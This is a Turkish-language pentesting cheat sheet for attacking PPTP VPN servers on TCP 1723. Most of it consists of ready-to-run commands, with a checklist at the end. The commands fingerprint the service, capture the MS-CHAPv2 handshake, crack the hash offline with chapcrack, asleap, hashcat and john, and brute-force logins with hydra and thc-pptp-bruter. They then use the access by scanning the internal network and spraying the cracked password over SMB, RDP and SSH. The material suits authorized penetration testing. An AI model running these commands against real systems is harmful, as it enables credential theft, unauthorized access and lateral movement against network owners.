1723 - Pentesting PPTP

network vpn

PPTP (TCP/1723 + GRE) eski VPN’dir. MS-CHAPv2 zayıflığı hash yakalama ve offline kırma ile credential üretir.

Metodoloji

1. 1723/tcp ve GRE’nin erişilebilirliğini doğrula.

2. PPTP handshake / MS-CHAPv2 challenge-response yakala.

3. Hash’i chapcrack / asleap / hashcat ile kır.

4. Elde edilen parola ile VPN veya başka serviste dene.

Keşif

nmap -Pn -sV -p1723 TARGET

nmap -Pn -p1723 --script pptp-version TARGET

ike-scan TARGET  # komşu VPN ailesi için

Bağlantı denemesi

pptpsetup --create lab --server TARGET --username user --password pass --encrypt

pon lab

nmap -Pn -p1723 TARGET; ping -c1 TARGET

MS-CHAPv2 yakalama / kırma

# trafik dinleme (MITM veya kendi client handshake)
tcpdump -i eth0 -w pptp.pcap host TARGET and \(port 1723 or proto gre\)

chapcrack.py -f pptp.pcap

asleap -r pptp.pcap -w wordlist.txt

hashcat -m 5500 mschapv2.hash rockyou.txt

john mschapv2.hash --wordlist=rockyou.txt

Brute

thc-pptp-bruter -u user -w rockyou.txt TARGET

hydra -l user -P rockyou.txt pptp://TARGET

Post-erişim

- VPN IP alınca iç ağ taraması
- Aynı parola ile SMB/RDP/SSH spray
- Routing table / split-tunnel farkı

ip route; ip a

nxc smb 10.0.0.0/24 -u user -p 'CrackedPass'

Checklist

[ ] 1723 açık / PPTP fingerprint
[ ] MS-CHAPv2 yakalandı
[ ] Hash kırıldı veya brute başarılı
[ ] VPN içi erişim / spray kanıtı